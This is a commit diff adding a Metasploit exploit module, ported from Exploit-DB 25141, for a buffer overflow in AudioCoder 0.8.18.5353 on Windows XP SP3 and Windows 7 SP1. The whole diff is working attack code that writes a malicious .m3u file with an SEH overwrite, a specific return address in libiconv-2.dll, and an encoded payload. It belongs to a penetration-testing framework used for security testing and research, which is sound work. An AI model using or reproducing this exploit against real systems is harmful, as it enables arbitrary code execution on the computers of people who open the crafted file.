Port EDB 25141 to msf

modules/exploits/windows/fileformat/audio_coder_m3u.rb

@@ -0,0 +1,76 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = NormalRanking
+
+	include Msf::Exploit::FILEFORMAT
+	include Msf::Exploit::Seh
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'AudioCoder .M3U Buffer Overflow',
+			'Description'    => %q{
+					This module exploits a buffer overflow in Audio Code 0.8.18. The vulnerability
+				occurs when adding an .m3u, allowing arbitrary code execution with the privileges
+				of the user running AudioCoder. This module has been tested successfully on
+				AudioCoder 0.8.18.5353 over Windows XP SP3 and Windows 7 SP1.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'metacom', # Vulnerability discovery and PoC
+					'juan vazquez' # Metasploit module
+				],
+			'References'     =>
+				[
+					[ 'EDB', '25141' ]
+				],
+			'DefaultOptions'  =>
+				{
+					'EXITFUNC' => 'process'
+				},
+			'Platform'       => 'win',
+			'Payload'        =>
+				{
+					'Space'           => 6596,
+					'BadChars'        => "\x00\x5c\x40\x0d\x0a",
+					'DisableNops'     => true,
+					'StackAdjustment' => -3500,
+				},
+
+			'Targets'        =>
+				[
+					[ 'AudioCoder 0.8.18.5353 / Windows XP SP3 / Windows 7 SP1',
+						{
+							'Ret'     => 0x66011b56, # ppr from libiconv-2.dll
+							'Offset'  => 765
+						}
+					]
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => 'May 01 2013',
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
+			], self.class)
+
+	end
+
+	def exploit
+		buffer = "http://"
+		buffer << rand_text(target['Offset'])
+		buffer << generate_seh_record(target.ret)
+		buffer << payload.encoded
+
+		file_create(buffer)
+	end
+end